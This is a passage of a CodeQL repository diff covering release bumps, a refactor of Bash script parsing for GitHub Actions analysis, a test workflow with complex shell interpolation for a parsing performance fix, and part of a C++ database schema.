diff --git a/.github/workflows/validate-change-notes.yml b/.github/workflows/validate-change-notes.yml index 3c83ffa709a..42784b661fc 100644 --- a/.github/workflows/validate-change-notes.yml +++ b/.github/workflows/validate-change-notes.yml @@ -31,4 +31,4 @@ jobs: - name: Fail if there are any errors with existing change notes run: | - codeql pack release --groups cpp,csharp,java,javascript,python,ruby,-examples,-test,-experimental + codeql pack release --groups actions,cpp,csharp,go,java,javascript,python,ruby,shared,swift -examples,-test,-experimental diff --git a/MODULE.bazel b/MODULE.bazel index 764eb6abe72..6c27900a9fb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -239,24 +239,24 @@ go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") go_deps.from_file(go_mod = "//go/extractor:go.mod") use_repo(go_deps, "org_golang_x_mod", "org_golang_x_tools") -lfs_files = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_files") +lfs_archive = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_archive") -lfs_files( +lfs_archive( name = "ripunzip-linux", - srcs = ["//misc/ripunzip:ripunzip-linux"], - executable = True, + src = "//misc/ripunzip:ripunzip-Linux.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-windows", - srcs = ["//misc/ripunzip:ripunzip-windows.exe"], - executable = True, + src = "//misc/ripunzip:ripunzip-Windows.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-macos", - srcs = ["//misc/ripunzip:ripunzip-macos"], - executable = True, + src = "//misc/ripunzip:ripunzip-macOS.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) register_toolchains( diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 16262bfaa84..53bf9173713 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.4.11 + +No user-facing changes. + +## 0.4.10 + +No user-facing changes. + ## 0.4.9 No user-facing changes. diff --git a/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md b/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md new file mode 100644 index 00000000000..5ee29557c85 --- /dev/null +++ b/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md @@ -0,0 +1,6 @@ +--- +category: minorAnalysis +--- +* Fixed performance issues in the parsing of Bash scripts in workflow files, + which led to out-of-disk errors when analysing certain workflow files with + complex interpolations of shell commands or quoted strings. \ No newline at end of file diff --git a/actions/ql/lib/change-notes/released/0.4.10.md b/actions/ql/lib/change-notes/released/0.4.10.md new file mode 100644 index 00000000000..9ae55e0ca34 --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.10.md @@ -0,0 +1,3 @@ +## 0.4.10 + +No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.11.md b/actions/ql/lib/change-notes/released/0.4.11.md new file mode 100644 index 00000000000..d29b796a245 --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.11.md @@ -0,0 +1,3 @@ +## 0.4.11 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index c898a5bfdcd..80a4283b3e4 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.9 +lastReleaseVersion: 0.4.11 diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index 8c1925f3288..ae19a7a7e8c 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -50,8 +50,8 @@ class Expression extends AstNode instanceof ExpressionImpl { string getNormalizedExpression() { result = normalizeExpr(expression) } } -/** A common class for `env` in workflow, job or step. */ -abstract class Env extends AstNode instanceof EnvImpl { +/** An `env` in workflow, job or step. */ +class Env extends AstNode instanceof EnvImpl { /** Gets an environment variable value given its name. */ ScalarValueImpl getEnvVarValue(string name) { result = super.getEnvVarValue(name) } diff --git a/actions/ql/lib/codeql/actions/Bash.qll b/actions/ql/lib/codeql/actions/Bash.qll index 4519a8949d7..4975ce6f4cc 100644 --- a/actions/ql/lib/codeql/actions/Bash.qll +++ b/actions/ql/lib/codeql/actions/Bash.qll @@ -8,35 +8,64 @@ class BashShellScript extends ShellScript { ) } - private string lineProducer(int i) { - result = this.getRawScript().regexpReplaceAll("\\\\\\s*\n", "").splitAt("\n", i) + /** + * Gets the line at 0-based index `lineIndex` within this shell script, + * assuming newlines as separators. + */ + private string lineProducer(int lineIndex) { + result = this.getRawScript().regexpReplaceAll("\\\\\\s*\n", "").splitAt("\n", lineIndex) } - private predicate cmdSubstitutionReplacement(string cmdSubs, string id, int k) { - exists(string line | line = this.lineProducer(k) | - exists(int i, int j | - cmdSubs = - // $() cmd substitution - line.regexpFind("\\$\\((?:[^()]+|\\((?:[^()]+|\\([^()]*\\))*\\))*\\)", i, j) - .regexpReplaceAll("^\\$\\(", "") - .regexpReplaceAll("\\)$", "") and - id = "cmdsubs:" + k + ":" + i + ":" + j - ) - or - exists(int i, int j | - // `...` cmd substitution - cmdSubs = - line.regexpFind("\\`[^\\`]+\\`", i, j) - .regexpReplaceAll("^\\`", "") - .regexpReplaceAll("\\`$", "") and - id = "cmd:" + k + ":" + i + ":" + j - ) + private predicate cmdSubstitutionReplacement(string command, string id, int lineIndex) { + this.commandInSubstitution(lineIndex, command, id) + or + this.commandInBackticks(lineIndex, command, id) + } + + /** + * Holds if there is a command substitution `$(command)` in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this command. + */ + private predicate commandInSubstitution(int lineIndex, string command, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + command = + // Look for the command inside a $(...) command substitution + this.lineProducer(lineIndex) + .regexpFind("\\$\\((?:[^()]+|\\((?:[^()]+|\\([^()]*\\))*\\))*\\)", occurrenceIndex, + occurrenceOffset) + // trim starting $( - TODO do this in first regex + .regexpReplaceAll("^\\$\\(", "") + // trim ending ) - TODO do this in first regex + .regexpReplaceAll("\\)$", "") and + id = "cmdsubs:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset ) } - private predicate rankedCmdSubstitutionReplacements(int i, string old, string new) { - old = rank[i](string old2 | this.cmdSubstitutionReplacement(old2, _, _) | old2) and - this.cmdSubstitutionReplacement(old, new, _) + /** + * Holds if `command` is a command in backticks `` `...` `` in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this command. + */ + private predicate commandInBackticks(int lineIndex, string command, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + command = + this.lineProducer(lineIndex) + .regexpFind("\\`[^\\`]+\\`", occurrenceIndex, occurrenceOffset) + // trim leading backtick - TODO do this in first regex + .regexpReplaceAll("^\\`", "") + // trim trailing backtick - TODO do this in first regex + .regexpReplaceAll("\\`$", "") and + id = "cmd:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ) + } + + private predicate rankedCmdSubstitutionReplacements(int i, string command, string commandId) { + // rank commands by their unique IDs + commandId = rank[i](string c, string id | this.cmdSubstitutionReplacement(c, id, _) | id) and + // since we cannot output (command, ID) tuples from the rank operation, + // we need to work out the specific command associated with the resulting ID + this.cmdSubstitutionReplacement(command, commandId, _) } private predicate doReplaceCmdSubstitutions(int line, int round, string old, string new) { @@ -64,31 +93,56 @@ class BashShellScript extends ShellScript { this.cmdSubstitutionReplacement(result, _, i) } + /** + * Holds if `quotedStr` is a string in double quotes in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this quoted string. + */ + private predicate doubleQuotedString(int lineIndex, string quotedStr, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + // double quoted string + quotedStr = + this.cmdSubstitutedLineProducer(lineIndex) + .regexpFind("\"((?:[^\"\\\\]|\\\\.)*)\"", occurrenceIndex, occurrenceOffset) and + id = + "qstr:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ":" + + quotedStr.length() + ":" + quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") + ) + } + + /** + * Holds if `quotedStr` is a string in single quotes in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this quoted string. + */ + private predicate singleQuotedString(int lineIndex, string quotedStr, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + // single quoted string + quotedStr = + this.cmdSubstitutedLineProducer(lineIndex) + .regexpFind("'((?:\\\\.|[^'\\\\])*)'", occurrenceIndex, occurrenceOffset) and + id = + "qstr:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ":" + + quotedStr.length() + ":" + quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") + ) + } + private predicate quotedStringReplacement(string quotedStr, string id) { - exists(string line, int k | line = this.cmdSubstitutedLineProducer(k) | - exists(int i, int j | - // double quoted string - quotedStr = line.regexpFind("\"((?:[^\"\\\\]|\\\\.)*)\"", i, j) and - id = - "qstr:" + k + ":" + i + ":" + j + ":" + quotedStr.length() + ":" + - quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") - ) + exists(int lineIndex | + this.doubleQuotedString(lineIndex, quotedStr, id) or - exists(int i, int j | - // single quoted string - quotedStr = line.regexpFind("'((?:\\\\.|[^'\\\\])*)'", i, j) and - id = - "qstr:" + k + ":" + i + ":" + j + ":" + quotedStr.length() + ":" + - quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") - ) + this.singleQuotedString(lineIndex, quotedStr, id) ) and // Only do this for strings that might otherwise disrupt subsequent parsing quotedStr.regexpMatch("[\"'].*[$\n\r'\"" + Bash::separator() + "].*[\"']") } - private predicate rankedQuotedStringReplacements(int i, string old, string new) { - old = rank[i](string old2 | this.quotedStringReplacement(old2, _) | old2) and - this.quotedStringReplacement(old, new) + private predicate rankedQuotedStringReplacements(int i, string quotedString, string quotedStringId) { + // rank quoted strings by their nearly-unique IDs + quotedStringId = rank[i](string s, string id | this.quotedStringReplacement(s, id) | id) and + // since we cannot output (string, ID) tuples from the rank operation, + // we need to work out the specific string associated with the resulting ID + this.quotedStringReplacement(quotedString, quotedStringId) } private predicate doReplaceQuotedStrings(int line, int round, string old, string new) { diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 6e9a94292d0..596bf4a14f0 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10-dev +version: 0.4.12-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 5779691947e..3140211bc4a 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 0.6.3 + +No user-facing changes. + +## 0.6.2 + +### Minor Analysis Improvements + +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. + ## 0.6.1 No user-facing changes. diff --git a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md b/actions/ql/src/change-notes/released/0.6.2.md similarity index 84% rename from actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md rename to actions/ql/src/change-notes/released/0.6.2.md index 8d6c87fe7a7..062fb0f6f91 100644 --- a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md +++ b/actions/ql/src/change-notes/released/0.6.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 0.6.2 + +### Minor Analysis Improvements + * The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. diff --git a/actions/ql/src/change-notes/released/0.6.3.md b/actions/ql/src/change-notes/released/0.6.3.md new file mode 100644 index 00000000000..83374bcef56 --- /dev/null +++ b/actions/ql/src/change-notes/released/0.6.3.md @@ -0,0 +1,3 @@ +## 0.6.3 + +No user-facing changes. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 80fb0899f64..b7dafe32c5d 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.1 +lastReleaseVersion: 0.6.3 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 49f4f30f7da..99c4fd8d02c 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2-dev +version: 0.6.4-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml b/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml new file mode 100644 index 00000000000..2b719a3a38a --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml @@ -0,0 +1,81 @@ +name: Workflow with complex interpolation +on: + workflow_dispatch: + inputs: + choice-a: + required: true + type: choice + description: choice-a + default: a1 + options: + - a1 + - a2 + - a3 + string-b: + required: false + type: string + description: string-b + string-c: + required: false + type: string + description: string-c + list-d: + required: true + type: string + default: d1 d2 + description: list-d whitespace separated + list-e: + required: false + type: string + description: list-e whitespace separated + choice-f: + required: true + type: choice + description: choice-f + options: + - false + - true + +env: + DRY_TEST: false + B: ${{ github.event.inputs.string-b }} + +jobs: + job: + runs-on: ubuntu-latest + steps: + - name: Produce values + id: produce-values + run: | + echo "region=region" >> $GITHUB_OUTPUT + echo "zone=zone" >> $GITHUB_OUTPUT + + - name: Step with complex interpolation + id: complex + env: + CHOICE_A: ${{ github.event.inputs.choice-a }} + STRING_B: ${{ github.event.inputs.string-b }} + STRING_C: ${{ github.event.inputs.string-c }} + LIST_D: ${{ github.event.inputs.list-d }} + LIST_E: ${{ github.event.inputs.list-e }} + CHOICE_F: ${{ github.event.inputs.choice-f }} + REGION: ${{ steps.produce-values.outputs.region }} + ZONE: ${{ steps.produce-values.outputs.zone }} + DRY_TEST_JSON: ${{ fromJSON(env.DRY_TEST) }} + FUNCTION_NAME: my-function + USER_EMAIL: 'example@example.com' + TYPE: type + RANGE: '0-100' + + run: | + comma_separated_list_d=$(echo "${LIST_D}" | sed "s/ /\",\"/g") + comma_separated_list_e=$(echo "${LIST_E}" | sed "s/ /\",\"/g") + c1=$(echo "${STRING_C}" | cut -d "-" -f 1) + c2=$(echo "${STRING_C}" | cut -d "-" -f 2) + # Similar commands that use JSON payloads with string interpolation. + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":"","listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":"","listE":["'"${comma_separated_list_e}"'"],"dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail) + shell: bash diff --git a/cpp/bulk_generation_targets.yml b/cpp/bulk_generation_targets.yml new file mode 100644 index 00000000000..0e42eac3765 --- /dev/null +++ b/cpp/bulk_generation_targets.yml @@ -0,0 +1,10 @@ +language: cpp +strategy: dca +destination: cpp/ql/lib/ext/generated +targets: +- name: openssl + with-sinks: false + with-sources: false +- name: sqlite + with-sinks: false + with-sources: false diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql new file mode 100644 index 00000000000..cb35a2cc532 --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql @@ -0,0 +1,7 @@ +class LambdaExpr extends @lambdaexpr { + string toString() { none() } +} + +from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type +where lambdas(lambda, default_capture, has_explicit_return_type, _) +select lambda, default_capture, has_explicit_return_type diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme new file mode 100644 index 00000000000..3c45f8b9e71 --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme @@ -0,0 +1,2493 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, 